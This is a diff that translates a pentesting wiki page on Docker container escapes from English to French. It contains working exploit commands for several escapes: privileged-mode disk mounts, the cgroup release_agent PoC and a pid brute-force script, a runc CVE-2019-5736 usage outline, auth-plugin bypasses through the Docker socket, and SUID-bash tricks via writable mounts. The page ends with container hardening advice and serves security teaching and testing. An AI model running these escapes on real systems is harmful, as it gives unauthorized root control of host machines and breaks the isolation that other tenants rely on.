**`DAC_OVERRIDE`** - -You can check currently container capabilities with: +Vous devez vérifier les capacités du conteneur, s'il possède l'une des capacités suivantes, vous pourriez être en mesure de vous échapper : **`CAP_SYS_ADMIN`**_,_ **`CAP_SYS_PTRACE`**, **`CAP_SYS_MODULE`**, **`DAC_READ_SEARCH`**, **`DAC_OVERRIDE`** +Vous pouvez vérifier les capacités actuelles du conteneur avec : ```bash capsh --print ``` - -In the following page you can **learn more about linux capabilities** and how to abuse them: +Sur la page suivante, vous pouvez **en savoir plus sur les capacités de Linux** et comment les abuser : {% content-ref url="linux-capabilities.md" %} [linux-capabilities.md](linux-capabilities.md) {% endcontent-ref %} -# `--privileged` flag +# Drapeau `--privileged` -The --privileged flag allows the container to have access to the host devices. +Le drapeau --privileged permet au conteneur d'avoir accès aux périphériques de l'hôte. -## I own Root +## Je suis propriétaire de Root -Well configured docker containers won't allow command like **fdisk -l**. However on missconfigured docker command where the flag --privileged is specified, it is possible to get the privileges to see the host drive. +Les conteneurs Docker bien configurés n'autorisent pas les commandes telles que **fdisk -l**. Cependant, dans une commande Docker mal configurée où le drapeau --privileged est spécifié, il est possible d'obtenir les privilèges pour voir le disque de l'hôte. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) -So to take over the host machine, it is trivial: - +Ainsi, pour prendre le contrôle de la machine hôte, c'est trivial : ```bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` +Et voilà ! Vous pouvez maintenant accéder au système de fichiers de l'hôte car il est monté dans le dossier `/mnt/hola`. -And voilà ! You can now access the filesystem of the host because it is mounted in the `/mnt/hola `folder. - -{% code title="Initial PoC" %} +{% code title="PoC initial" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -102,7 +90,7 @@ sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` {% endcode %} -{% code title="Second PoC" %} +{% code title="Deuxième PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -130,35 +118,34 @@ head /output ``` {% endcode %} -The `--privileged` flag introduces significant security concerns, and the exploit relies on launching a docker container with it enabled. When using this flag, containers have full access to all devices and lack restrictions from seccomp, AppArmor, and Linux capabilities. +Le drapeau `--privileged` introduit des problèmes de sécurité importants et l'exploit repose sur le lancement d'un conteneur Docker avec ce drapeau activé. Lorsque ce drapeau est utilisé, les conteneurs ont un accès complet à tous les périphériques et ne sont pas soumis aux restrictions de seccomp, AppArmor et des capacités Linux. -In fact, `--privileged` provides far more permissions than needed to escape a docker container via this method. In reality, the “only” requirements are: +En fait, `--privileged` fournit beaucoup plus de permissions que nécessaire pour s'échapper d'un conteneur Docker via cette méthode. En réalité, les seuls prérequis sont : -1. We must be running as root inside the container -2. The container must be run with the `SYS_ADMIN` Linux capability -3. The container must lack an AppArmor profile, or otherwise allow the `mount` syscall -4. The cgroup v1 virtual filesystem must be mounted read-write inside the container +1. Nous devons être en train d'exécuter en tant que root à l'intérieur du conteneur +2. Le conteneur doit être exécuté avec la capacité Linux `SYS_ADMIN` +3. Le conteneur doit manquer d'un profil AppArmor, ou autrement permettre l'appel système `mount` +4. Le système de fichiers virtuel cgroup v1 doit être monté en lecture-écriture à l'intérieur du conteneur -The `SYS_ADMIN` capability allows a container to perform the mount syscall (see [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker starts containers with a restricted set of capabilities](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) by default and does not enable the `SYS_ADMIN` capability due to the security risks of doing so. +La capacité `SYS_ADMIN` permet à un conteneur d'exécuter l'appel système `mount` (voir [man 7 capabilities](https://linux.die.net/man/7/capabilities)). [Docker démarre les conteneurs avec un ensemble restreint de capacités](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) par défaut et n'active pas la capacité `SYS_ADMIN` en raison des risques de sécurité que cela implique. -Further, Docker [starts containers with the `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) policy by default, which [prevents the use of the mount syscall](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) even when the container is run with `SYS_ADMIN`. +De plus, Docker [démarre les conteneurs avec la politique AppArmor par défaut `docker-default`](https://docs.docker.com/engine/security/apparmor/#understand-the-policies), qui [empêche l'utilisation de l'appel système `mount`](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) même lorsque le conteneur est exécuté avec `SYS_ADMIN`. -A container would be vulnerable to this technique if run with the flags: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` +Un conteneur serait vulnérable à cette technique s'il est exécuté avec les drapeaux : `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` -## Breaking down the proof of concept +## Analyse du proof of concept -Now that we understand the requirements to use this technique and have refined the proof of concept exploit, let’s walk through it line-by-line to demonstrate how it works. +Maintenant que nous comprenons les prérequis pour utiliser cette technique et que nous avons affiné l'exploit de proof of concept, parcourons-le ligne par ligne pour démontrer comment il fonctionne. -To trigger this exploit we need a cgroup where we can create a `release_agent` file and trigger `release_agent` invocation by killing all processes in the cgroup. The easiest way to accomplish that is to mount a cgroup controller and create a child cgroup. +Pour déclencher cette exploitation, nous avons besoin d'un cgroup où nous pouvons créer un fichier `release_agent` et déclencher l'invocation de `release_agent` en tuant tous les processus dans le cgroup. Le moyen le plus simple d'y parvenir est de monter un contrôleur cgroup et de créer un cgroup enfant. -To do that, we create a `/tmp/cgrp` directory, mount the [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup controller and create a child cgroup (named “x” for the purposes of this example). While every cgroup controller has not been tested, this technique should work with the majority of cgroup controllers. +Pour ce faire, nous créons un répertoire `/tmp/cgrp`, montons le contrôleur cgroup [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) et créons un cgroup enfant (nommé "x" à des fins d'exemple). Bien que tous les contrôleurs cgroup n'aient pas été testés, cette technique devrait fonctionner avec la majorité des contrôleurs cgroup. -If you’re following along and get “mount: /tmp/cgrp: special device cgroup does not exist”, it’s because your setup doesn’t have the RDMA cgroup controller. Change `rdma` to `memory` to fix it. We’re using RDMA because the original PoC was only designed to work with it. +Si vous suivez et obtenez "mount: /tmp/cgrp: special device cgroup does not exist", c'est parce que votre configuration n'a pas le contrôleur cgroup RDMA. Changez `rdma` en `memory` pour le corriger. Nous utilisons RDMA car le PoC original a été conçu pour fonctionner uniquement avec celui-ci. -Note that cgroup controllers are global resources that can be mounted multiple times with different permissions and the changes rendered in one mount will apply to another. - -We can see the “x” child cgroup creation and its directory listing below. +Notez que les contrôleurs cgroup sont des ressources globales qui peuvent être montées plusieurs fois avec des autorisations différentes et les modifications apportées à un montage s'appliqueront à un autre. +Nous pouvons voir ci-dessous la création du cgroup enfant "x" et sa liste de répertoires. ``` root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ @@ -166,28 +153,22 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` +Ensuite, nous activons les notifications cgroup lors de la libération du cgroup "x" en écrivant un 1 dans son fichier `notify_on_release`. Nous définissons également l'agent de libération du cgroup RDMA pour exécuter un script `/cmd` - que nous créerons plus tard dans le conteneur - en écrivant le chemin du script `/cmd` sur l'hôte dans le fichier `release_agent`. Pour ce faire, nous récupérons le chemin du conteneur sur l'hôte à partir du fichier `/etc/mtab`. -Next, we enable cgroup notifications on release of the “x” cgroup by writing a 1 to its `notify_on_release` file. We also set the RDMA cgroup release agent to execute a `/cmd` script — which we will later create in the container — by writing the `/cmd` script path on the host to the `release_agent` file. To do it, we’ll grab the container’s path on the host from the `/etc/mtab` file. - -The files we add or modify in the container are present on the host, and it is possible to modify them from both worlds: the path in the container and their path on the host. - -Those operations can be seen below: +Les fichiers que nous ajoutons ou modifions dans le conteneur sont présents sur l'hôte, et il est possible de les modifier à partir des deux mondes : le chemin dans le conteneur et leur chemin sur l'hôte. +Ces opérations peuvent être vues ci-dessous : ``` root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` - -Note the path to the `/cmd` script, which we are going to create on the host: - +Notez le chemin d'accès au script `/cmd` que nous allons créer sur l'hôte : ``` root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` - -Now, we create the `/cmd` script such that it will execute the `ps aux` command and save its output into `/output` on the container by specifying the full path of the output file on the host. At the end, we also print the `/cmd` script to see its contents: - +Maintenant, nous créons le script `/cmd` de sorte qu'il exécute la commande `ps aux` et enregistre sa sortie dans `/output` sur le conteneur en spécifiant le chemin complet du fichier de sortie sur l'hôte. À la fin, nous imprimons également le contenu du script `/cmd` pour voir son contenu : ``` root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd @@ -196,9 +177,7 @@ root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` - -Finally, we can execute the attack by spawning a process that immediately ends inside the “x” child cgroup. By creating a `/bin/sh` process and writing its PID to the `cgroup.procs` file in “x” child cgroup directory, the script on the host will execute after `/bin/sh` exits. The output of `ps aux` performed on the host is then saved to the `/output` file inside the container: - +Enfin, nous pouvons exécuter l'attaque en créant un processus qui se termine immédiatement à l'intérieur du sous-cgroupe "x". En créant un processus `/bin/sh` et en écrivant son PID dans le fichier `cgroup.procs` dans le répertoire du sous-cgroupe "x", le script sur l'hôte s'exécutera après la sortie de `/bin/sh`. La sortie de `ps aux` effectuée sur l'hôte est ensuite enregistrée dans le fichier `/output` à l'intérieur du conteneur : ``` root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output @@ -213,41 +192,35 @@ root 9 0.0 0.0 0 0 ? S 13:57 0:00 [ksoftirqd/0] root 10 0.0 0.0 0 0 ? I 13:57 0:00 [rcu_sched] root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` +# Drapeau `--privileged` v2 -# `--privileged` flag v2 - -The previous PoCs work fine when the container is configured with a storage-driver which exposes the full host path of the mount point, for example `overlayfs`, however I recently came across a couple of configurations which did not obviously disclose the host file system mount point. +Les PoCs précédents fonctionnent bien lorsque le conteneur est configuré avec un pilote de stockage qui expose le chemin d'accès complet de l'hôte du point de montage, par exemple `overlayfs`. Cependant, j'ai récemment rencontré quelques configurations qui ne divulguent pas évidemment le point de montage du système de fichiers hôte. ## Kata Containers - ``` root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` +Par défaut, [Kata Containers](https://katacontainers.io) monte le système de fichiers racine d'un conteneur sur `9pfs`. Cela ne divulgue aucune information sur l'emplacement du système de fichiers du conteneur dans la machine virtuelle Kata Containers. -[Kata Containers](https://katacontainers.io) by default mounts the root fs of a container over `9pfs`. This discloses no information about the location of the container file system in the Kata Containers Virtual Machine. - -\* More on Kata Containers in a future blog post. +\* Plus d'informations sur Kata Containers dans un prochain article de blog. ## Device Mapper - ``` root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` +J'ai vu un conteneur avec ce montage racine dans un environnement en direct, je crois que le conteneur fonctionnait avec une configuration de pilote de stockage `devicemapper` spécifique, mais à ce stade, je n'ai pas été en mesure de reproduire ce comportement dans un environnement de test. -I saw a container with this root mount in a live environment, I believe the container was running with a specific `devicemapper` storage-driver configuration, but at this point I have been unable to replicate this behaviour in a test environment. +## Une alternative PoC -## An Alternative PoC +Évidemment, dans ces cas, il n'y a pas suffisamment d'informations pour identifier le chemin des fichiers de conteneurs sur le système de fichiers hôte, donc le PoC de Felix ne peut pas être utilisé tel quel. Cependant, nous pouvons toujours exécuter cette attaque avec un peu d'ingéniosité. -Obviously in these cases there is not enough information to identify the path of container files on the host file system, so Felix’s PoC cannot be used as is. However, we can still execute this attack with a little ingenuity. +La seule information clé requise est le chemin complet, relatif à l'hôte de conteneur, d'un fichier à exécuter dans le conteneur. Sans être en mesure de le discerner à partir des points de montage dans le conteneur, nous devons chercher ailleurs. -The one key piece of information required is the full path, relative to the container host, of a file to execute within the container. Without being able to discern this from mount points within the container we have to look elsewhere. - -### Proc to the Rescue - -The Linux `/proc` pseudo-filesystem exposes kernel process data structures for all processes running on a system, including those running in different namespaces, for example within a container. This can be shown by running a command in a container and accessing the `/proc` directory of the process on the host:Container +### Proc à la rescousse +Le pseudo-système de fichiers `/proc` de Linux expose les structures de données de processus du noyau pour tous les processus en cours d'exécution sur un système, y compris ceux s'exécutant dans différents espaces de noms, par exemple dans un conteneur. Cela peut être démontré en exécutant une commande dans un conteneur et en accédant au répertoire `/proc` du processus sur l'hôte : Conteneur. ```bash root@container:~$ sleep 100 ``` @@ -271,17 +244,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` - -_As an aside, the `/proc//root` data structure is one that confused me for a very long time, I could never understand why having a symbolic link to `/` was useful, until I read the actual definition in the man pages:_ +En passant, la structure de données `/proc//root` m'a longtemps laissé perplexe, je ne comprenais pas pourquoi avoir un lien symbolique vers `/` était utile, jusqu'à ce que je lise la définition réelle dans les pages de manuel : > /proc/\[pid]/root > -> UNIX and Linux support the idea of a per-process root of the filesystem, set by the chroot(2) system call. This file is a symbolic link that points to the process’s root directory, and behaves in the same way as exe, and fd/\*. +> UNIX et Linux supportent l'idée d'une racine de système de fichiers par processus, définie par l'appel système chroot(2). Ce fichier est un lien symbolique qui pointe vers le répertoire racine du processus, et se comporte de la même manière que exe et fd/\*. > -> Note however that this file is not merely a symbolic link. It provides the same view of the filesystem (including namespaces and the set of per-process mounts) as the process itself. - -The `/proc//root` symbolic link can be used as a host relative path to any file within a container:Container +> Notez cependant que ce fichier n'est pas simplement un lien symbolique. Il fournit la même vue du système de fichiers (y compris les espaces de noms et l'ensemble des montages par processus) que le processus lui-même. +Le lien symbolique `/proc//root` peut être utilisé comme un chemin relatif à l'hôte vers n'importe quel fichier dans un conteneur : Conteneur ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 @@ -291,20 +262,16 @@ root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` +Cela change la condition requise pour l'attaque, passant de la connaissance du chemin complet, relatif à l'hôte du conteneur, d'un fichier à l'intérieur du conteneur, à la connaissance du pid de _n'importe quel_ processus s'exécutant dans le conteneur. -This changes the requirement for the attack from knowing the full path, relative to the container host, of a file within the container, to knowing the pid of _any_ process running in the container. - -### Pid Bashing - -This is actually the easy part, process ids in Linux are numerical and assigned sequentially. The `init` process is assigned process id `1` and all subsequent processes are assigned incremental ids. To identify the host process id of a process within a container, a brute force incremental search can be used:Container +### Bashage de Pid +C'est en fait la partie facile, les identifiants de processus dans Linux sont numériques et attribués séquentiellement. Le processus `init` est attribué l'identifiant de processus `1` et tous les processus suivants sont attribués des identifiants incrémentaux. Pour identifier l'identifiant de processus de l'hôte d'un processus à l'intérieur d'un conteneur, une recherche incrémentale par force brute peut être utilisée : Container ``` root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` - -Host - +Hôte ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done @@ -313,15 +280,13 @@ root@host:~$ echo ${COUNTER} root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` +### Mettre le tout ensemble -### Putting it All Together +Pour mener à bien cette attaque, la technique de force brute peut être utilisée pour deviner le pid du chemin `/proc//root/payload.sh`, avec chaque itération écrivant le chemin pid deviné dans le fichier `release_agent` des cgroups, déclenchant le `release_agent`, et vérifiant si un fichier de sortie est créé. -To complete this attack the brute force technique can be used to guess the pid for the path `/proc//root/payload.sh`, with each iteration writing the guessed pid path to the cgroups `release_agent` file, triggering the `release_agent`, and seeing if an output file is created. - -The only caveat with this technique is it is in no way shape or form subtle, and can increase the pid count very high. As no long running processes are kept running this _should_ not cause reliability issues, but don’t quote me on that. - -The below PoC implements these techniques to provide a more generic attack than first presented in Felix’s original PoC for escaping a privileged container using the cgroups `release_agent` functionality: +Le seul inconvénient de cette technique est qu'elle n'est en aucun cas subtile et peut augmenter considérablement le nombre de pid. Comme aucun processus de longue durée n'est maintenu en cours d'exécution, cela ne devrait pas causer de problèmes de fiabilité, mais ne me citez pas là-dessus. +Le PoC ci-dessous met en œuvre ces techniques pour fournir une attaque plus générique que celle présentée initialement dans le PoC original de Felix pour s'échapper d'un conteneur privilégié en utilisant la fonctionnalité `release_agent` des cgroups : ```bash #!/bin/sh @@ -381,9 +346,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` - -Executing the PoC within a privileged container should provide output similar to: - +L'exécution du PoC dans un conteneur privilégié devrait fournir une sortie similaire à: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -411,48 +374,42 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` +# Exploit Runc (CVE-2019-5736) -# Runc exploit (CVE-2019-5736) +Si vous pouvez exécuter `docker exec` en tant que root (probablement avec sudo), vous pouvez essayer d'escalader les privilèges en sortant d'un conteneur en exploitant CVE-2019-5736 (exploit [ici](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Cette technique va essentiellement **écraser** le binaire _**/bin/sh**_ de l'**hôte** **à partir d'un conteneur**, de sorte que toute personne exécutant docker exec peut déclencher la charge utile. -In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload. +Modifiez la charge utile en conséquence et compilez main.go avec `go build main.go`. Le binaire résultant doit être placé dans le conteneur Docker pour l'exécution.\ +Lors de l'exécution, dès qu'il affiche `[+] Overwritten /bin/sh successfully`, vous devez exécuter ce qui suit depuis la machine hôte : -Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\ -Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine: +`docker exec -it /bin/sh` -`docker exec -it /bin/sh` +Cela déclenchera la charge utile qui est présente dans le fichier main.go. -This will trigger the payload which is present in the main.go file. +Pour plus d'informations : [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) -For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html) +# Contourner le plugin d'authentification Docker -# Docker Auth Plugin Bypass +Dans certains cas, l'administrateur système peut installer des plugins pour Docker afin d'empêcher les utilisateurs à faible privilège d'interagir avec Docker sans pouvoir escalader les privilèges. -In some occasions, the sysadmin may install some plugins to docker to avoid low privilege users to interact with docker without being able to escalate privileges. - -## disallowed `run --privileged` - -In this case the sysadmin **disallowed users to mount volumes and run containers with the `--privileged` flag** or give any extra capability to the container: +## `run --privileged` interdit +Dans ce cas, l'administrateur système **interdit aux utilisateurs de monter des volumes et d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur : ```bash docker run -d --privileged modified-ubuntu docker: Error response from daemon: authorization denied by plugin customauth: [DOCKER FIREWALL] Specified Privileged option value is Disallowed. See 'docker run --help'. ``` - -However, a user can **create a shell inside the running container and give it the extra privileges**: - +Cependant, un utilisateur peut **créer un shell à l'intérieur du conteneur en cours d'exécution et lui donner des privilèges supplémentaires**: ```bash docker run -d --security-opt "seccomp=unconfined" ubuntu #bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de docker exec -it --privileged bb72293810b0f4ea65ee8fd200db418a48593c1a8a31407be6fee0f9f3e4f1de bash ``` +Maintenant, l'utilisateur peut s'échapper du conteneur en utilisant l'une des techniques précédemment discutées et escalader les privilèges à l'intérieur de l'hôte. -Now, the user can escape from the container using any of the previously discussed techniques and escalate privileges inside the host. - -## Mount Writable Folder - -In this case the sysadmin **disallowed users to run containers with the `--privileged` flag** or give any extra capability to the container, and he only allowed to mount the `/tmp` folder: +## Monter un dossier inscriptible +Dans ce cas, l'administrateur système **a interdit aux utilisateurs d'exécuter des conteneurs avec le drapeau `--privileged`** ou de donner des capacités supplémentaires au conteneur, et il a seulement autorisé le montage du dossier `/tmp`: ```bash host> cp /bin/bash /tmp #Cerate a copy of bash host> docker run -it -v /tmp:/host ubuntu:18.04 bash #Mount the /tmp folder of the host and get a shell @@ -461,20 +418,18 @@ docker container> chmod u+s /host/bash host> /tmp/bash -p #This will give you a shell as root ``` - {% hint style="info" %} -Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +Notez que vous ne pouvez peut-être pas monter le dossier `/tmp`, mais vous pouvez monter un **dossier différent accessible en écriture**. Vous pouvez trouver des répertoires accessibles en écriture en utilisant la commande : `find / -writable -type d 2>/dev/null` -**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +**Notez que tous les répertoires d'une machine Linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez la commande `mount | grep -v "nosuid"`. Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid. -Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur Docker en tant que root pour **les exploiter sur l'hôte** et escalader les privilèges (peut-être en modifiant `/etc/shadow`). {% endhint %} -## Unchecked JSON Structure - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important parameter** of the API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) like "**Binds**".\ -In the following example it's possible to abuse this misconfiguration to create and run a container that mounts the root (/) folder of the host: +## Structure JSON non vérifiée +Il est possible que lorsque l'administrateur système a configuré le pare-feu Docker, il ait **oublié un paramètre important** de l'API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) comme "**Binds**".\ +Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur qui monte le dossier racine (/) de l'hôte : ```bash docker version #First, find the API version of docker, 1.40 in this example docker images #List the images available @@ -484,11 +439,9 @@ docker start f6932bc153ad #Start the created privileged container docker exec -it f6932bc153ad chroot /host bash #Get a shell inside of it #You can access the host filesystem ``` +## Attribut JSON non vérifié -## Unchecked JSON Attribute - -It's possible that when the sysadmin configured the docker firewall he **forgot about some important attribute of a parametter** of the API ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) like "**Capabilities**" inside "**HostConfig**". In the following example it's possible to abuse this misconfiguration to create and run a container with the **SYS_MODULE** capability: - +Il est possible que lorsque l'administrateur système a configuré le pare-feu docker, il ait **oublié un attribut important d'un paramètre de l'API** ([https://docs.docker.com/engine/api/v1.40/#operation/ContainerList](https://docs.docker.com/engine/api/v1.40/#operation/ContainerList)) comme "**Capabilities**" à l'intérieur de "**HostConfig**". Dans l'exemple suivant, il est possible d'exploiter cette mauvaise configuration pour créer et exécuter un conteneur avec la capacité **SYS_MODULE** : ```bash docker version curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json" -d '{"Image": "ubuntu", "HostConfig":{"Capabilities":["CAP_SYS_MODULE"]}}' http:/v1.40/containers/create @@ -498,11 +451,9 @@ docker exec -it c52a77629a91 bash capsh --print #You can abuse the SYS_MODULE capability ``` +# Montage hostPath inscriptible -# Writable hostPath Mount - -(Info from [**here**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Within the container, an attacker may attempt to gain further access to the underlying host OS via a writable hostPath volume created by the cluster. Below is some common things you can check within the container to see if you leverage this attacker vector: - +(Info de [**ici**](https://medium.com/swlh/kubernetes-attack-path-part-2-post-initial-access-1e27aabda36d)) Dans le conteneur, un attaquant peut tenter d'obtenir un accès supplémentaire au système d'exploitation hôte sous-jacent via un volume hostPath inscriptible créé par le cluster. Voici quelques éléments courants que vous pouvez vérifier dans le conteneur pour voir si vous exploitez ce vecteur d'attaque : ```bash ### Check if You Can Write to a File-system $ echo 1 > /proc/sysrq-trigger @@ -516,20 +467,19 @@ $ mount /dev/sda1 /mnt-testmount: /mnt: permission denied. ---> Failed! but if n ### debugfs (Interactive File System Debugger) $ debugfs /dev/sda1 ``` +# Améliorations de la sécurité des conteneurs -# Containers Security Improvements +## Seccomp dans Docker -## Seccomp in Docker - -This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: +Il ne s'agit pas d'une technique pour s'échapper d'un conteneur Docker, mais d'une fonctionnalité de sécurité que Docker utilise et que vous devriez connaître car elle pourrait vous empêcher de vous échapper de Docker : {% content-ref url="seccomp.md" %} [seccomp.md](seccomp.md) {% endcontent-ref %} -## AppArmor in Docker +## AppArmor dans Docker -This is not a technique to breakout from a Docker container but a security feature that Docker uses and you should know about as it might prevent you from breaking out from docker: +Il ne s'agit pas d'une technique pour s'échapper d'un conteneur Docker, mais d'une fonctionnalité de sécurité que Docker utilise et que vous devriez connaître car elle pourrait vous empêcher de vous échapper de Docker : {% content-ref url="apparmor.md" %} [apparmor.md](apparmor.md) @@ -537,40 +487,40 @@ This is not a technique to breakout from a Docker container but a security featu ## AuthZ & AuthN -An authorization plugin **approves** or **denies** **requests** to the Docker **daemon** based on both the current **authentication** context and the **command** **context**. The **authentication** **context** contains all **user details** and the **authentication** **method**. The **command context** contains all the **relevant** **request** data. +Un plugin d'autorisation **approuve** ou **refuse** les **demandes** au démon Docker en fonction du contexte d'**authentification** actuel et du contexte de **commande**. Le contexte d'**authentification** contient tous les **détails de l'utilisateur** et la **méthode d'authentification**. Le contexte de **commande** contient toutes les données de **demande** **pertinentes**. {% content-ref url="broken-reference" %} -[Broken link](broken-reference) +[Lien cassé](broken-reference) {% endcontent-ref %} ## gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface du système Linux. Il comprend un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **frontière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre à Docker et Kubernetes, ce qui permet de lancer facilement des conteneurs sandbox. {% embed url="https://github.com/google/gvisor" %} # Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide** stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** est une communauté open source travaillant à la construction d'un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais qui offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense. {% embed url="https://katacontainers.io/" %} -## Use containers securely +## Utiliser les conteneurs en toute sécurité -Docker restricts and limits containers by default. Loosening these restrictions may create security issues, even without the full power of the `--privileged` flag. It is important to acknowledge the impact of each additional permission, and limit permissions overall to the minimum necessary. +Docker restreint et limite les conteneurs par défaut. Assouplir ces restrictions peut créer des problèmes de sécurité, même sans la pleine puissance du drapeau `--privileged`. Il est important de reconnaître l'impact de chaque permission supplémentaire et de limiter les autorisations globales au minimum nécessaire. -To help keep containers secure: +Pour aider à maintenir la sécurité des conteneurs : -* Do not use the `--privileged` flag or mount a [Docker socket inside the container](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/). The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -* Do not run as root inside the container. Use a [different user](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) or [user namespaces](https://docs.docker.com/engine/security/userns-remap/). The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -* [Drop all capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) (`--cap-drop=all`) and enable only those that are required (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them 